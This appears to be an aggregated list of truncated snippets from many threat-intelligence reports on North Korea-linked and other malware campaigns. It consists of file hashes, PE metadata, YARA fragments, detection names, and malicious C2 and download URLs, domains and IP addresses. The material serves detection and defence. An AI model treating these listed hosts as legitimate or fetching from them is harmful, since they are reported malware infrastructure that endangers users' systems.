1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ecf0fdb9631752e32f0e32be3d51bb e8faa68daf62fbe2e10b3bac775cce5a3bb2999e McAfee Detection BackDoor-FDRO! Trojan-FPCQ! RDN/Generic Downloader.x RDN/Generic…","…The APK signature details follow below. | * * DN ** | C = US , O = Android , CN = Android Debug | | --- | --- | | MD5 | afb708faf1a66892a6e6cae9e63c6c2b | | Certificate Validity Period | Tue Apr 22 15 : 57 : 54 KST 2025 | * * DN ** | C = US , O = Android , CN = Android Debug | | --- |…","…logic and data required to install Kupay., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200 MD5 afdf3dd62dafd401be4bbeca65b42635 SHA1 8b45d12ed8c058ea0ce3122da9a82b9fb045d6a3 SHA256 6b945159b4c816ec5e212ba125eb01938234205d8d3e57fca46de7c064c628f8 SHA512…","…SHA1 1602cc32d56ab7f7d70c508696134875a0a56000 afefb97605354c96d07d6e24a87798dd5891b583 e9519f91c7acfe68e614fc6d3416033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c…","…MD5 SHA1 SHA256 Malicious ICO File aff5911f6c211cde147a0d6aa3a7a423 caa77bcd0a1a6629ba1f3ce8d1fc5451d83d0352 f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 MD5 SHA1 SHA256 Malicious ICO…","…application layer protocol for C2 coms [+] T1043 – Actor uses common ports to communicate // Indicators of Compromise SHA256 : b018639e9a5f3b2b9c257b83ee51a3f77bbec1a984db13d1c00e0CC77704abb4 SHA256 : adf86d77eb4064c52a3e4fb3f1c3218ee2b7de2b1780b81c612886d72aa9c923 SHA256 :…","…Size 30330443 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 24b3614d5c5e53e40b42b4e057001770 SHA1 b040433fb50d679b2e287d7fcc1667a415fb60b0 SHA256 e3623c2440b692f6b557a862719dc95f41d2e9ad7b560e837d3b59bfe4b8b774 SHA512…","…Name Updater.exe Size 173224 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 b054a7382adf6b774b15f52d971f3799 SHA1 b4d43cd2d81d17dec523915c0fc61b4b29e62c58 SHA256 bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb SHA512…","…It can also intercept the site to prevent further spread of the malicious software. IOC Md5 aeee54a81032a6321a39566f96c822f5 b054a7382adf6b774b15f52d971f3799 C&C https://www.celasllc.com/checkupdate.php Posted in: APT , Threat Intelligence…","…32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33…","…(GUI) Intel 80386, for MS Windows MD5 2ff1688fe866ec2871169197f9d46936 SHA1 6dc37ff32ea70cbd0078f1881a351a0a4748d10e SHA256 b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 SHA512…","…SHA-256: 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 SHA-256: b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 SHA-256: b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 SHA-256:…","…(from decoded powershell script) 222.122.86.177 PE file : hanwordupdate (2).exe hashes: MD5 5a7ef48fe0e8ae65733db64ddb7f2478 SHA-1 b0ca169c6a64336e48fe8d5c0e8376212b72784c SHA-256 304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3 DNS requests domain kjdnc.gp114.net Connections ip…","…관련 도메인, URL 및 IP 주소 MD5 ac68dad3114c469c5d1e81f9dbc59eb0 b0e7a8fa1eb5690e7e42fb09c9ee6307 e5288ab0f625e498e27178b0d17329f9 Tags: APT GitHub Kimsuky PowerShell…","…9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6800836d55d049fe79e3d47d54e1119 Domain…","…domain https://maskasd.com/8555575039 URL Post Compromise C2 beacon endpoint File indicators Indicator Type Description B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4 SHA-256 setup.cjs (malicious postinstall dropper) AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185 SHA-256…","…09e4f724e73fccc1f659b8a46bfa7184 DPRK: HSMBalance.exe MD5:34404a3fb9804977c6ab86cb991fb130 – Keylogger ICAS.ps1 MD5: b12325a1e6379b213d35def383da2986 – Possible PowerBrace MD5: 8a41520c89dce75a345ab20ee352fef0 – Possible PowerBrace MD5: 7c651d115109fd8f35fddfc44fd24518 – Possible…","…68 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f1…","…Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 aa7f506b0c30d76557c82dba45116ccc SHA1 b12d174088629f4e3e0009661ca589fc9f17f66a SHA256 e76b3fd3e906ac23218b1fbd66fd29c3945ee209a29e9462bbc46b07d1645de2 SHA512…","…LimaAlfa sample from Novetta's Lazarus malware set (loader of other malicious files). MD5: b135a56b0486eb4c85e304e636996ba1 Sample discovered in Incident #1 (backdoor which contains PE loader code). MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Note that the…","…af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0a8cd7584547bdb2959f0d1008e6871 b13ffe7b8e351291250f1a3a855134aa 1dee4c60fffcc80eb4bbd523eedab2f4 8c84d7f559cf0947fbf1981a0acb8a35 acd2d728ee4d1110521524c1eac6204e 157d1b1798f0f370a95125253e039c18 b9…","…15adac4d6fc1bddb0c940cdc0c6605b4 53636c80d43a3c461dc8a3d2a2f2d4e1 750173f1b36e502ff17e2c5eec03c602 8edc77fb36bf80bb52d158cf9043cecd b15a55f9a23998b1976622bd3b9a3ad9 Tags: Andariel Everest 금융권 financial GeniexLoader Miyako PrinzEugen Qilin ROOTBOY RubiconH4ck Secur3rat ShinyHunters WGear…","…각별한 주의가 필요하다. 현재 V3에서는 해당 악성코드를 다음과 같은 진단명으로 진단하고 있다. [파일 진단] Trojan/Win.Kimsuky MD5 47ce2cf998e4af580b9d0acccf7d2207 b162316082b1bd74a250c70b206ff015 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6 a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348 c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89 cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792…","…99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449 Sliver C2 Server Information 172.96.137.224 americajobmail.site Code Signing Certificate Details SHA256 hash:…","…SHA-256 f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449 SHA-1 540853beffb0ba9b26cf305bcf92fad82599eb3c e3069713add2d99750af6c30580fb3595a0b6abc Remediation Block all threat indicators at…","…cipher with the key, “34123412”, saves them in the path shown below and executes them. Type PATH SHA256 Dropper EXE N/A b1da7e1963dc09c325ba3ea2442a54afea02929ec26477a1b120ae44368082f8 Bisonal DLL C:\\Windows\\Temp\\pvcu.dll 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 Russian Decoy PDF…","…MD5 SHA1 SHA256 Malicious ICO File 1640f48cc05c58f4cc077503a5361cea b1dee3ebcffad01a51ff31ff495fef1d40fdfaa0 d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a MD5 SHA1 SHA256 Malicious ICO File…","…5623f4f8942872b2b7cb6d2674c126a42bdf6ed5d1f37c1afc348529e4697d73 EtherRAT stage 1 File b1ee812e7c786c8696f913595658e57706d97a66ca7b7634f421f5c552e7002b EtherRAT stage 2 (deobfuscated) File…","…317d733031850427b6738dc9213890e7a4eac51fcb88f7c99b2fbca4cd77a561 56a666601e66a01cc8dcb53a470d9ea092633c76197cd13919c7749e51ebccbc b1f371ef6f978b44258ab235e79de39a8e7f7342eb0b282317cee5f5ebbd0864 SHA1 b8daba7780619f9a9001cf391c74a5e56682aa94 d042afa59dd81cc9e0d0e50e3cc8694a3c5f8fb4 c4ce18cb838eb61d20a857e00589b0a04a06ba52…","…⚫ 325768e41af749183e1ad9a260910af3 ⚫ 2a4fe005442bea4ddcae0595099e8f3d ⚫ 22133c0f18e3382b31a81390b3a8ba4c ⚫ b20e27a003b0c43dfcd71111d5ed45f6 ⚫ 766f5ae486770ea0d59ed46569e694c6 ⚫ 4111e51fcadf34fc476afb6d97868cdf Operation Double Barrel 63 Related Domains, URLs,…","…Size 166400 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 68fa29a40f64c9594cc3dbe8649f9ebc SHA1 b24f6c60fa4ac76ffc11c2fcee961694aeb2141b SHA256 19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35 SHA512…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-06-15 06:56:27-04:00 Import Hash b25cd98650edb58a9a4d00af1d17453d PE Sections MD5 Name Raw Size Entropy 2c879beba343ce37c06647fb37be983e header 1024 2.572659…","…Data Exposure Indicators of Compromise Domain Name hanhwa.site naverbox.p-e.kr nbox.p-e.kr spectacularfields.icu MD5 b262ac518c0114f414aaedbb4ef7c728 31e683073959e206e072711fe2570271 SHA-256…","…APPENDIX A – INDICATORS OF ATTACK MD5 Hashes d08f1211fe0138134e822e31a47ec5d4 b27881f59c8d8cc529fa80a58709db36 3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d…","…04f1f6e2d8a0cfb58c9dab5546bbd13f 3fc3962721c62a7352fb4230e36a6089 6e7a2aa1a62c90dc31e2b4fda1a7ad00 94c75cdb38a51621b8c8255db24b45a1 b285748d5b50658b50fd974f034872f0 URL…","…92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 2fdf61fdfd649f8bbf5730307a0ab5d1 b2a89eebb5be61939f5458a024c929b169b4dc85 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 bb915073385dd16a846dfa318afa3c19…","…국내 사용자를 대상으로 유포되고 있는 만큼, 사용자는 출처가 불분명한 파일 열람을 자제하고 각별한 주의가 필요하다. [파일 진단] Dropper/CHM.Generic (2024.04.25.03) MD5 b2c74dbf20824477c3e139b48833041b AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…particular caution and refrain from opening files from unknown sources. [File Detection] Dropper/CHM.Generic (2024.04.25.03) MD5 b2c74dbf20824477c3e139b48833041b Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…038d5b a6cffde5684ca81e4f19ba77300bb255ea29cae57e5f78b20dad6be99bf0fb84 ab269279818db7e98c9c8899ad8e7a2b8b3cf6f51b24fb487720c15e7cd3546e b2ed5f272a518368cc453b940460b41f80bfa1b680ed9513a7ff6b365bd6ed7c b3f39054043551bcb78e4531580899b8343fc3c1e2dcfd46932ce576eea9019c c285bf15a83133b231afddbbcfe1c35932d0c1ccd4b066a24bd1756a9ccec6d9 ebadd6…","…SHA1 72b6f743a93275adaa50968394543890d07021be b319317c7028d7bbb2f1d289945e4c21b4e34d2b e917166ed0096688994709acb94233ba3f3be39b e9528f09f1e58ffc308893087f4a8b77aa1d544d Remediation Block all threat indicators at your…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-05-08 11:43:26-04:00 Import Hash b32c7db2b70ae7b183886924d873c585 PE Sections MD5 Name Raw Size Entropy 24baa03194bc78f0184ea606128bc80f header 1024 2.821047…","…Size 175104 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec SHA512…","…HSMBalance.exe MD5 34404a3fb9804977c6ab86cb991fb130 SHA1 b345e6fae155bfaf79c67b38cf488bb17d5be56d SHA256 c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec The open-source screengrabbing code used in the keylogger from the…","…6d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0a8cd7584547bdb2959f0d1008e6871 b13ffe7b8e351291250f1a3a855134aa 1d…","…(2023.03.08.03) Dropper/LNK.Agent (2023.02.28.00) MD5 2b79e2bd6548118c942480a52b5a1669 809528921de39530de59e3793d74af98 b39182a535f41699280ca088eef0f258 URL…","…지속적으로 사용하고 있는 정상 파일 위장 악성코드를 사용하였으며, 실제 오픈소스 프로그램을 수정하여 제작하였기 때문에 악성 여부 탐지가 쉽지 않음 Appendix Appendix 1 : IoC SCSKAppLink_dll - MD5 : b3a8c88297daecdb9b0ac54a3c107797 - SHA256 : a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 - Type : x86, dll NppAStyle.dll - MD5 :…","…Hash-SHA256 6bf1839a7e72a92a2bb18fbedf1873e4892b00ea4b122e48ae80fac5048db1a7 Hash-SHA256 b3c39aeb14425f137b5bd0fd7654f1d6a45c0e8518ef7e209ad63d8dc6d0bac7 Hash-SHA256 e14f1a655d54254d06d51cd23a2fa57b6ffdf371cf6b828ee483b1b1d6d21079 Hash-SHA256…","…(2022.03.24.00) MD5 3ea9b50289aecccc7ffd04fa814c1a5c 64cbd6f435538175dc06ea4b84cba46d 856072827cec7b74ead3ce40e55bd8d1 b3c7df17420d48f61bbfcf2bac3ae4a3 URL https://regular.winupdate.kro.kr/index.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…Dropper #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f ROKRAT:: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e \"Evil New Year 2018\" Campaign: Maldoc sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead PNG :…","…Name Injection_API_executable_e Size 89088 bytes Type 64-bit XCOFF executable or object module MD5 b3efec620885e6cf5b60f72e66d908a9 SHA1 274b0bccb1bfc2731d86782de7babdeece379cf4 SHA256 d465637518024262c063f4a82d799a4e40ff3381014972f24ea18bc23c3b27ee SHA512…","…67bdec f4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690 4cf87cc8ec18cc288bdebb464ca21e4a03d5a35e5f0d294f33a6791e99640a88 b3f4db35c07f8f8ce903c7a1133f1959b80bb198b994942c67776474170999a0 cd87f640cb5e020c51d2bf233f85a9768880230f7e848aeb39f11829cbfb832c 通信先 159.100.13.216 144.76.109.61 参考文献 [1] JPCERT/CC Eyes,…","…⚫ f215257eface32e03d91acaf44d91d92 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 3b97c7621969b31b3b4f5975a82e2c00 ⚫ b40722c94cfee7b21f97073304cb2fba ⚫ fe00578715e667c204a66c93c7611559 ⚫ 21bc39f1fa632b5348003d3beec0bc50 ⚫ 23357052f05e2060c4109e2d7fe5f00a ⚫…","…// stager_mac.sh MD5:38614d05a905eab3a0885b637bfbb8e8 // stager_nix.sh MD5:2e3fdb5b8befdb9b48cb1a5468dfc164 // stager_win.ps1 MD5:b42652763f78183cf779811dc2cb13bb // vscode-bootstrap.ps1 MD5:d8cc49f56265ca137a73a275379704fa //…","…Download DLL (Fileless) : Trojan/Win.Kimsuky.C4950244 MD5 37c7fd52c0102a461aa29b1772ecbe12 929a87be39ed3ad28e7285340f64414f b46ba113b1d461041af9f31ca8d5f916 da9816b60d9866b1b6d90a8e20e39623 URL http://ms-work.com-info.store/ Tags: APT 매크로 악성문서…","…Hash-SHA256 9fb39f162c1e1eb55fbf38e670d5e329d84542d3dfcdc341a99f5d07c4b50977 Hash-SHA256 b47e281bfbeeb0758f8c625bed5c5a0d27ee8e0065ceeadd76b0010d226206f0 Hash-SHA256 b66db13d17ae8bcaf586180e3dcd1e2e0a084b6bc987ac829bbff18c3be7f8b4 Hash-SHA256…","…engineering tactics by carrying out job-application themed phishing attacks using the following publicly available malicious files. MD5: b484b0dff093f358897486b58266d069 MD5: f34b72471a205c4eee5221ab9a349c55 MD5: 4c26b2d0e5cd3bfe0a3d07c4b85909a4 MD5: 52ec074d8cb8243976963674dd40ffe7 MD5:…","…22 Connection: close | keep-alive Matching HTTP response hashes on the initial two endpoints Normalized headers SHA-256: b4a66cb1a4981970b8a7084e79b3de7f46bb8cb75cc313768b01e0db8450efa9 Response body SHA-256: 37ec4665a8102d115ffd1ac20dae94c98b4dac64b0c1a68228aa2a531caeb35d Use shared fingerprints alongside domains,…","…(GUI) Intel 80386, for MS Windows MD5 34c2ac6daa44116713f882694b6b41e8 SHA1 323258353c244b373c758906d88a2bf9663abf8d SHA256 b4bf6322c67a23553d5a9af6fcd9510eb613ffac963a21e32a9ced83132a09ba SHA512…","…Size 173224 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 b054a7382adf6b774b15f52d971f3799 SHA1 b4d43cd2d81d17dec523915c0fc61b4b29e62c58 SHA256 bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb SHA512…","…f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449 Sliver C2 Server Information 172.96.137.224…","…계정 목록 확인 방법과 재부팅 전, 후 계정 확인 가능 여부 비교 MD5 b500a8ffd4907a1dfda985683f1de1df Previous Post 주간 탐지 룰(YARA, Snort) 정보 – 2025년 1월 4주차…","…Comparison of the methods to check the account list and whether the account can be checked before and after reboot MD5 b500a8ffd4907a1dfda985683f1de1df Previous Post Weekly Detection Rule (YARA and Snort) Information – Week…","…[13] [AhnLab TIP] 미미카츠를 이용한 내부망 전파 기법 분석 보고서 MD5 185bc3037314ec2dbd6591ad72cf08b4 81ee91290a78d2d38b47a7ae25ec717f b500a8ffd4907a1dfda985683f1de1df URL http://80.66.76.22/servicem.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…차단할 수 있도록 신경 써야 한다. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…infection in advance. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153 Gain access to related IOCs and detailed analysis by subscribing…","…MD5 b500a8ffd4907a1dfda985683f1de1df URL…","…d4ze7xl2cxgerdnymxj7soqd.onion nms.lgiil72vkmdtbc3qv4tyq6wedyjxqr2qd4ze7xl2cxgerdnymxj7soqd.onion MD5 === 136e0bf4e5fe4d4249fe9570153a0b97 b54edbcec7664fde548a7ba1fa8b3b78 186c77101c027a465b14cb4a74f8381e 182024fc6c5fe0b1b33fdd9c7c37e368 9a7c0adedc4c68760e49274700218507…","…(2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19 URL http://gjdow.atwebpages.com/dn.php?name=[Computer AhnLab TIP 를 구독하시면 연관 IOC 및 상세…","…(2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19 URL http://gjdow.atwebpages.com/dn.php?name=[Computer Gain access to related IOCs and…","…침해 지표 (Indicator of Compromise) ● MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104…","…185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6e…","…MD5 SHA1 SHA256 Malicious ICO File 4d112603466ac9c57a669445374c1fb5 b5de30a83084d6f27d902b96dd12e15c77d1f90b c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd MD5 SHA1 SHA256 Malicious ICO File…","…SHA-256 ‘nfs’ second stage (ELF x86-64, stripped, 179,632 bytes); single honeypot vendor report, not independently corroborated b61a098fc62a2c2696e196dca78da71a MD5 ‘nfs’ second stage E.…","…time 2018-07-12 14:09:33 2018-11-05 6:11:38 2018-12-19 0:15:19 Malicious mach-o hash aeee54a81032a6321a39566f96c822f5 b63e8d4277b190e2e3f5236f07f89eee bb04d77bda3ae9c9c3b6347f7aef19ac C2 server www.celasllc.com/checkupdate.php https://www.wb-bot.org/certpkg.php…","…“Celas Trade Pro”版 IOCS Md5 3efeccfc6daf0bf99dcb36f247364052 8b4c532f10603a8e199aa4281384764e b63e8d4277b190e2e3f5236f07f89eee domain wb-invest.net wb-bot.org Lazarus组织攻击金融等行业重大事件：…","…Name 2.so Size 110592 bytes Type 64-bit XCOFF executable or object module MD5 b66be2f7c046205b01453951c161e6cc SHA1 ec5784548ffb33055d224c184ab2393f47566c7a SHA256 ca9ab48d293cc84092e8db8f0ca99cb155b30c61d32a1da7cd3687de454fe86c SHA512…","…Hash-SHA256 b47e281bfbeeb0758f8c625bed5c5a0d27ee8e0065ceeadd76b0010d226206f0 Hash-SHA256 b66db13d17ae8bcaf586180e3dcd1e2e0a084b6bc987ac829bbff18c3be7f8b4 Hash-SHA256 c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9 Hash-SHA256…","…a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294 b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585…","…(GUI) Intel 80386, for MS Windows MD5 26520499a3fc627d335e34586e99de7a SHA1 df10c097e42dbe7ea4478a984c5e2ab586147519 SHA256 b6811b42023524e691b517d19d0321f890f91f35ebbdf1c12cbb92cda5b6de32 SHA512…","…of Compromise) MD5 3715092aa00f380cefe8b4d2eddb7d08 7cef19f9c4480adac0cd4702ff98f46c 7eb9cee1f696727752169f25cf79a338 b6b0602310bb2d4360c52685119aac1b C2 crwellfood.com daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80…","…Size 197632 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 170a55f7c0448f1741e60b01dcec9cfb SHA1 b6b84783816cca123adbc18e78d3b847f04f1d32 SHA256 084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319 SHA512…","…(EDR) – Execution/MDP.Regsvr32.M11169 (MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740 URL…","…for MS Windows, UPX compressed MD5 c627db421adaaa320d3ac42396c89f8a SHA1 dcf95cd96203e794724fc14e454e63fba9afe82a SHA256 b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 SHA512…","…= \"https://creativecommons.org/licenses/by-nc/4.0/\" author = \"Marc Stroebel\" date = \"2020-12-15\" hash = \"b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9\" reference1 = \"https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf\" reference2 =…","…tarball) 4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417 SHA-256 easy-day-js-1.11.21.tgz (clean bait tarball) B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E SHA-256 mastra-1.13.1.tgz (compromised CLI tarball) 221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf SHA-256…","…FAT rust 8f7da0348001461fc5a1da99b89c571050de0aff x86 rust a973d201c23b68c5d25ba8447b04f090c20bf6d4 ARM rust b74702c9b82f23ebf76805f1853bc72236bee57c FAT rust cd8f41b91e8f1d8625e076f0a161e46e32c62bbf x86 rust Malicious PDFs SHA1 Name…","…(2024.03.10.00) 행위 진단 – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…Behavior Detection – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…\"https://blog.malwarelab.pl/posts/lazarus_validator/\" hash = \"141931bf718c5c4d3931f64b04e2112b65a6bcd46c0092300ff6824b573f8b36\" hash = \"b76b6bbda8703fa801898f843692ec1968e4b0c90dfae9764404c1a54abf650b\" hash = \"37a3c01bb5eaf7ecbcfbfde1aab848956d782bb84445384c961edebe8d0e9969\" hash =…","…Size 126976 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 1c53e7269fe9d84c6df0a25ba59b822c SHA1 b775d753671133cbc4919764d2fac0d298166b07 SHA256 201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 SHA512…","…a56edfef94008c77abfb4e151df934d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 50…","…⚫ 44d4022f67e2ab9f731cb0df9adc36c0 ⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫ bd7a422b40df870285ec5620053ca0b2 ⚫ d554724c6392c9f2c2bc073d0a7ce21f E.…","…\"Simple indicator of observable {4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16}\", \"file\": {\"hash\": {\"md5\": [\"b7cb512be2f564a77608b4ffd57af9da\"], \"sha1\": [\"cd8f41b91e8f1d8625e076f0a161e46e32c62bbf\"], \"sha256\": [\"4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16\"]}},…","…Theft and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name partybbq.co.kr treffic.medianewsonline.com MD5 b7de564386ab778046b1dd3ef76e4b5e fdb058193917718fae6703e3090b8536 SHA-256…","…Hash-MD5 3c6375f586a49fc12a4de9328174f0c1 Hash-MD5 